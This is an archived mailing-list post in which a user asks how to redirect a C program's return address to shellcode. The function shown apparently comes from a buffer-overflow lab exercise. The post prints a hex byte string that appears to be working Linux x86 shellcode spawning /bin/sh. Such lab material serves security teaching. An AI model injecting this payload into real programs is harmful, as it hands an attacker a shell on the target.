[hackerspaces] change the return address to point to shellcode

hadi almarzuki2011 at hotmail.com
Tue Oct 7 00:31:53 CEST 2014


Im using linux and I have c program, I would like to change the return
address to point to my shellcode, im unable to do it.

Here is my shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc
2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Here is my c program

int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
   printf("Bang!: You set global_value to 0x%x\n", global_value);
   validate(2);
 } else
   printf("Misfire: global_value = 0x%x\n", global_value);
   exit(0);
 }
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 1625 bytes
Desc: not available
URL: <http://lists.hackerspaces.org/pipermail/discuss/attachments/20141007/6c3d5289/attachment.bin>


More information about the Discuss mailing list